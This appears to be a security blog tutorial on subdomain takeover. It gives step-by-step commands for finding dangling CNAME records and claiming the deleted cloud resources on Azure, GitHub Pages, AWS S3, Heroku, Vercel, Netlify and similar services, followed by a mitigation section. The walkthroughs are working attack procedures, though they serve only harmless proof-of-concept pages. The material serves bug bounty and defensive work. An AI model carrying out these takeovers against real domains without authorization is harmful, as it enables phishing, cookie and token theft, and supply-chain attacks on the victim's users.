A subdomain takeover is one of those vulnerabilities that looks simple on paper but carries devastating real-world impact: full control over a legitimate subdomain of the victim. In this post I walk through current techniques — Azure, GitHub Pages, AWS, Heroku, Vercel and more — with step-by-step process from spotting a dangling CNAME to serving content under the victim's domain.
What is a subdomain takeover?
A subdomain takeover happens when a subdomain points via a DNS record to an external resource (GitHub Pages, Azure App Service, an S3 bucket...) that has already been deleted, but the DNS record is still active. Because the resource is now free, anyone can claim it and serve content under the company's legitimate subdomain.
Don't confuse this with DNS hijacking. The DNS infrastructure is not compromised here. What's being exploited is a lifecycle mismatch between DNS records and cloud resources: the dev team deletes the service but forgets to remove the CNAME.
The attack flow is always the same:
# Normal state
blog.victim.com → CNAME → myblog.github.io → Active repository ✓
# Dangling state (resource deleted, DNS intact)
blog.victim.com → CNAME → myblog.github.io → NXDOMAIN / "404 Not Found"
# Post-takeover (attacker claims the resource)
blog.victim.com → CNAME → myblog.github.io → Attacker's repository ✗
What can an attacker do with the subdomain?
Controlling a legitimate subdomain has far greater impact than owning a random domain:
- High-credibility phishing — the domain is the company's real one, bypassing any visual filter the user might apply.
- Cookie theft — if the cookie has scope
.victim.com, the controlled subdomain can read it. - CORS bypass — the origin passes whitelist validation because it's a legitimate domain.
- OAuth token theft — if
redirect_uriaccepts any subdomain, the attacker captures the token. - Supply chain attacks — if the subdomain was serving JS scripts referenced by other pages, the attacker now serves malicious code to all those clients.
- Data leaks — if applications keep sending data to the deleted endpoint (databases, message queues, Redis...).
Reconnaissance: finding the dangling CNAME
Step 1 — Enumerate subdomains
# Passive enumeration (no noise, no touching victim's servers)
subfinder -d victim.com -silent -o subs.txt
amass enum -passive -d victim.com -o amass_subs.txt
assetfinder --subs-only victim.com >> subs.txt
# Additional source: public TLS certificates
curl "https://crt.sh/?q=%.victim.com&output=json" | jq '.[].name_value' | sort -u
# Merge and deduplicate
cat subs.txt amass_subs.txt | sort -u | tee all_subs.txt
Step 2 — Detect dangling CNAME records
# Find subdomains with CNAME + NXDOMAIN (the key signal)
while read sub; do
nxdomain=$(dig $sub | grep -c "NXDOMAIN")
if [ "$nxdomain" -gt 0 ]; then
cname=$(dig +short CNAME $sub)
if [ -n "$cname" ]; then
echo "[DANGLING] $sub → $cname"
fi
fi
done < all_subs.txt
An NXDOMAIN on the domain the CNAME points to is the most reliable signal of a possible takeover.
Step 3 — Identify the service by its fingerprint
Each cloud platform returns a characteristic error message when the resource doesn't exist. This tells you exactly what you need to claim:
| Service | Fingerprint / error message |
|---|---|
| GitHub Pages | There isn't a GitHub Pages site here. |
| Azure App Service | You do not have permission to view this directory / 404 Web Site Not Found |
| Azure Blob Storage | The specified container does not exist. |
| AWS S3 | NoSuchBucket / The specified bucket does not exist |
| Heroku | No such app / There's nothing here, yet. |
| Vercel | The deployment could not be found on Vercel. |
| Netlify | Not Found - Request ID: |
| Shopify | Sorry, this shop is currently unavailable. |
| Zendesk | Help Center Closed |
| HubSpot | Domain not found / This page isn't available |
| Fastly | Fastly error: unknown domain |
| Readme.io | Project doesnt exist... yet! |
| Azure CDN | NXDOMAIN on azureedge.net |
| Azure Traffic Manager | NXDOMAIN on trafficmanager.net |
Azure — 14 vulnerable services
Azure is one of the ecosystems with the largest attack surface for subdomain takeovers. The pattern is always the same: the resource name controls its subdomain. If that name becomes available, anyone can register it.
Azure App Service (*.azurewebsites.net)
This is the most common takeover in Azure. Many teams deploy their apps on App Service, add a CNAME, and when the app is deleted they forget to remove the DNS record.
Verification:
dig app.victim.com CNAME +short
# Output: victim-app.azurewebsites.net.
dig victim-app.azurewebsites.net
# ;; status: NXDOMAIN ← vulnerable
curl -s https://app.victim.com
# "You do not have permission to view this directory or page."
Exploitation:
- From the CNAME, extract the name:
victim-app.azurewebsites.net→ resource name:victim-app. - In the Azure portal, go to App Services → Create. The only critical field is the Name: enter
victim-app. Runtime stack and region can be anything. Use the free F1 tier. - Once deployed, go to Custom Domains → Add custom domain and enter
app.victim.com. Azure will verify that the CNAME points to your App Service. - Deploy the PoC via Azure CLI:
echo '<html><body><h1>Subdomain Takeover PoC</h1>
<p>Reporter: YourHandle | Subdomain: app.victim.com</p>
</body></html>' > poc/index.html
az webapp up --name victim-app --resource-group myRG \
--html --src-path ./poc/
Azure CDN Classic (*.azureedge.net)
Verification:
dig cdn.victim.com CNAME +short
# victim-poc.azureedge.net.
dig victim-poc.azureedge.net
# ;; status: NXDOMAIN ← vulnerable
Exploitation:
- From the CNAME, extract the name:
victim-poc. - In the portal, search for Front Door and CDN Profiles → Create. Select Explore other offerings → Azure CDN Standard from Microsoft (classic).
- When creating the profile, enable Create a new CDN endpoint and set the name to
victim-poc. This name controls the.azureedge.netsubdomain. - Once created, go to the CDN → Custom domain → add
cdn.victim.com. - For the PoC, create an App Service and point the CDN to it.
Azure Virtual Machine (*.[region].cloudapp.azure.com)
Very common in corporate environments that use VMs to expose web services.
Verification:
dig vm.victim.com CNAME +short
# victim-poc.eastus.cloudapp.azure.com.
# ↑ Extract: label = victim-poc, region = eastus
dig victim-poc.eastus.cloudapp.azure.com
# ;; status: NXDOMAIN ← vulnerable
Exploitation:
- The region is critical. From the CNAME:
victim-poc.eastus.cloudapp.azure.com→ you must create the VM in East US. - Portal → Virtual Machines → Create. Region: East US. The VM name can be anything — it doesn't matter here.
- After deployment, go to Configuration in the sidebar → set the DNS name label to
victim-poc→ Save. This assignsvictim-poc.eastus.cloudapp.azure.comto your VM. - The subdomain
vm.victim.comnow points to your VM. Spin up a server for the PoC:python3 -m http.server 80.
Note: Legacy VM IPs without a region segment (without
.eastus.) are not exploitable. Only those following the format[label].[region].cloudapp.azure.com.
Azure Traffic Manager (*.trafficmanager.net)
Verification:
dig lb.victim.com CNAME +short
# victim-tm.trafficmanager.net.
dig victim-tm.trafficmanager.net
# ;; status: NXDOMAIN ← likely vulnerable
Watch out for false positives: Traffic Manager can return NXDOMAIN even if the profile exists but has no endpoints configured. Always verify in the portal by trying to register the name — if the green tick ✅ appears when you type it, the resource is free and the takeover is real.
Exploitation:
- Portal → Traffic Manager profiles → Create. In the Name field enter
victim-tm. If the green tick appears, the name is available. - Routing method: Priority. Create the profile.
- The CNAME won't resolve correctly until the profile has endpoints. Go to Endpoints → Add → select a PoC App Service. With an active endpoint, the subdomain will resolve to your resource.
Azure Blob Storage (*.blob.core.windows.net)
Verification:
dig static.victim.com CNAME +short
# victimpoc.blob.core.windows.net.
curl -s http://static.victim.com
# <Code>InvalidDnsMappingFound</Code> ← storage account doesn't exist, vulnerable
Exploitation:
- The Storage Account name must be exactly the CNAME prefix:
victimpoc. - Portal → Storage Accounts → Create → Name:
victimpoc. - After creation, go to Networking → Custom Domain → enter
static.victim.com→ Save. - Enable static website hosting and upload the PoC:
az storage blob service-properties update \
--account-name victimpoc \
--static-website \
--index-document index.html
az storage blob upload \
--account-name victimpoc \
--container-name '$web' \
--name index.html \
--file ./poc/index.html
Other vulnerable Azure services
| Service | Domain | How to claim | Impact |
|---|---|---|---|
| Azure API Management | *.azure-api.net |
Create API Management resource with same name (~20min deploy) | Fake API responses |
| Azure SQL Server | *.database.windows.net |
Create SQL Server with same name | Data leak, query interception |
| Azure AI Search | *.search.windows.net |
Create Search service with same name | Fake search results, phishing |
| Azure Container Registry | *.azurecr.io |
Create Container Registry with same name | Serve malicious Docker images |
| Azure Container Instance | *.azurecontainer.io |
Create instance with DNS label and scope "Any reuse" | Container control |
| Azure Redis Cache | *.redis.cache.windows.net |
Create Redis Cache with same name | Session/cache data leak |
| Azure Service Bus | *.servicebus.windows.net |
Create Service Bus with same name + equivalent queues | Intercept application messages |
For Azure SQL Server and Azure Service Bus, the impact goes beyond a simple web takeover: if the application keeps trying to connect to the deleted endpoint, the attacker receives in real time data from the application (credentials, messages, queries) directed at the endpoint they now control.
GitHub Pages
Verification
dig blog.victim.com CNAME +short
# acme-corp.github.io.
curl -s https://blog.victim.com
# "There isn't a GitHub Pages site here." ← vulnerable
# Confirm the repository doesn't exist
curl -s https://api.github.com/repos/acme-corp/acme-corp.github.io | jq '.message'
# "Not Found" ← we can create it
Step-by-step exploitation
-
From the CNAME
acme-corp.github.io, extract the user or organization:acme-corp. The GitHub Pages repository must be named exactlyacme-corp.github.io. -
Create the repository on your account or on an account with the username
acme-corp(if the username is available). -
Upload the PoC with a CNAME file pointing to the target domain:
git init acme-corp.github.io
cd acme-corp.github.io
cat > index.html <<EOF
<!DOCTYPE html>
<html>
<body>
<h1>Subdomain Takeover PoC</h1>
<!-- Proof of concept for bug bounty — no harmful content served -->
<p>Reporter: YourHandle | Domain: blog.victim.com</p>
</body>
</html>
EOF
# The CNAME file is what binds this repo to the subdomain
echo "blog.victim.com" > CNAME
git add .
git commit -m "Subdomain takeover PoC"
git remote add origin https://github.com/acme-corp/acme-corp.github.io
git push -u origin main
- In the repository settings → Pages → Source: main branch. Within a few minutes
blog.victim.comwill display your content.
Important: GitHub introduced domain verification at the organization level. If the organization has its domains verified on GitHub (
github.com/orgs/[org]/settings/domains), subdomain takeovers under that domain are no longer possible. Always check this before attempting the takeover.
AWS S3
Verification
dig assets.victim.com CNAME +short
# assets.victim.com.s3-website-eu-west-1.amazonaws.com.
curl -s http://assets.victim.com
# <?xml ...><Code>NoSuchBucket</Code> ← bucket deleted, vulnerable
The region is encoded in the CNAME (eu-west-1). You need this for the takeover.
The bucket name must be exactly the victim subdomain: in this case, assets.victim.com.
Step-by-step exploitation
# Create the bucket in the correct region
aws s3api create-bucket \
--bucket assets.victim.com \
--region eu-west-1 \
--create-bucket-configuration LocationConstraint=eu-west-1
# Enable static website hosting
aws s3 website s3://assets.victim.com/ \
--index-document index.html
# Unblock public access (required to serve the PoC)
aws s3api delete-public-access-block \
--bucket assets.victim.com
# Apply public bucket policy
aws s3api put-bucket-policy \
--bucket assets.victim.com \
--policy '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::assets.victim.com/*"
}]
}'
# Upload the PoC
aws s3 cp poc/index.html s3://assets.victim.com/index.html \
--content-type "text/html"
Visit http://assets.victim.com and you'll see your PoC served from the victim's legitimate domain.
Supply chain angle (2024-2025): Recent research has shown that deleted S3 buckets that previously served JS scripts or assets referenced in CI/CD pipelines can turn a subdomain takeover into a supply chain attack. The attacker registers the bucket and serves malicious scripts that execute in the context of multiple downstream applications.
Heroku
Verification
dig api.victim.com CNAME +short
# victim-api.herokudns.com.
curl -s http://api.victim.com | grep -i "heroku\|no such app"
# "No such app" ← vulnerable
Step-by-step exploitation
heroku login
# Create an app (name can be anything)
heroku create my-poc-app
# Create a minimal Node.js app for the PoC
mkdir poc-heroku && cd poc-heroku
echo '{"name":"poc","version":"1.0.0","scripts":{"start":"node app.js"}}' > package.json
cat > app.js <<EOF
const http = require('http');
const server = http.createServer((req, res) => {
res.end('<h1>Subdomain Takeover PoC - Heroku</h1>');
});
server.listen(process.env.PORT || 3000);
EOF
echo "web: node app.js" > Procfile
git init && git add . && git commit -m "PoC"
heroku git:remote -a my-poc-app
git push heroku main
Once the app is deployed, go to Settings → Domains → Add domain in the Heroku dashboard and enter api.victim.com. Heroku will add the domain and within minutes the victim's subdomain will point to your app.
Vercel
Verification
dig preview.victim.com CNAME +short
# cname.vercel-dns.com.
curl -s https://preview.victim.com
# "The deployment could not be found on Vercel." ← vulnerable
Step-by-step exploitation
- Create a Vercel account and deploy any project (a static HTML page works fine).
- Go to Project Settings → Domains → Add and enter
preview.victim.com. - Vercel will verify that the CNAME points to
cname.vercel-dns.com(which it already does) and assign the domain to your deployment.
Netlify
Verification
dig docs.victim.com CNAME +short
# victim.netlify.app.
curl -s https://docs.victim.com
# "Not Found - Request ID: ..." ← vulnerable
Step-by-step exploitation
- Create a site on Netlify and deploy basic content.
- Go to Domain settings → Add custom domain → enter
docs.victim.com. - Netlify will verify the CNAME and within minutes the domain will be under your control.
Other relevant services
Shopify
When a Shopify store is cancelled but the CNAME keeps pointing to shops.myshopify.com, anyone can create a store with the same subdomain name and claim the domain.
dig shop.victim.com CNAME +short
# victim.myshopify.com.
curl -s https://shop.victim.com
# "Sorry, this shop is currently unavailable." ← vulnerable
Exploitation: create a Shopify store with the same name as the deleted store's subdomain (victim) and add shop.victim.com as a custom domain.
Zendesk
dig support.victim.com CNAME +short
# victim.zendesk.com.
curl -s https://support.victim.com
# "Help Center Closed" ← vulnerable
Create a Zendesk trial account, enable the Help Center, and add support.victim.com as a custom domain. The impact here can include capturing support tickets from real users who keep opening issues at the subdomain.
HubSpot
dig info.victim.com CNAME +short
# victim.hs-sites.com.
curl -s https://info.victim.com
# "Domain not found" ← vulnerable
Create a HubSpot account, publish a landing page, and add the custom domain.
Fastly (CDN)
dig static.victim.com CNAME +short
# dualstack.b.shared.global.fastly.net.
curl -s -H "Host: static.victim.com" https://dualstack.b.shared.global.fastly.net
# "Fastly error: unknown domain: static.victim.com" ← vulnerable
Create a service in Fastly, configure the domain static.victim.com, and point it to any backend. Since Fastly uses virtual hosting based on the Host header, as soon as you register the domain in your account the CDN routes traffic to your backend.
Automation
For bug bounty programs or large-scale audits, automation is essential. These are the most widely used tools right now:
Subdomain enumeration:
- subfinder — fast passive enumeration.
- amass — deep active and passive enumeration.
- assetfinder — quick public sources.
Takeover detection:
- nuclei with takeover templates — the current standard.
- subzy — specialized in subdomain takeovers.
- baddns — detects DNS misconfigurations including takeovers.
- Subdominator — specialized in Azure and other cloud services.
Reference for vulnerable services:
- can-i-take-over-xyz — community-maintained list with fingerprints and current status for each service.
Typical bug bounty pipeline:
# Enumeration + detection in a single pipeline
subfinder -d victim.com -silent | \
httpx -silent | \
nuclei -t /nuclei-templates/http/takeovers/ -o results.txt
# Or with subzy directly against the subdomain list
subzy run --targets all_subs.txt --concurrency 50 --hide_fails
Mitigation
From the defender's side, the fix is simple in theory but hard to enforce at scale:
Delete DNS records before deleting the resource. Order matters: remove the CNAME first, wait for the TTL to expire, then delete the cloud resource. Never the other way around.
Regular DNS record audits. Implement review processes that periodically check all CNAMEs point to active resources. Tools like nuclei or baddns can be integrated into CI/CD pipelines to continuously detect dangling records.
Domain verification on services that support it. GitHub allows domain verification at the organization level so no external repository can claim them. Other services like Google Sites offer similar mechanisms.
Attack surface monitoring. Services like SecurityTrails, Shodan, or your own subfinder pipeline can alert you when new subdomains appear or when existing ones start returning error messages characteristic of deleted resources.
References
- can-i-take-over-xyz — community reference for vulnerable services
- Stratus Security — Azure Subdomain Takeover Guide
- Stratus Security — AWS Subdomain Takeover Guide
- 0xpatrik — Takeover Proofs — PoC methodology for bug bounty
- Nuclei Templates — Takeovers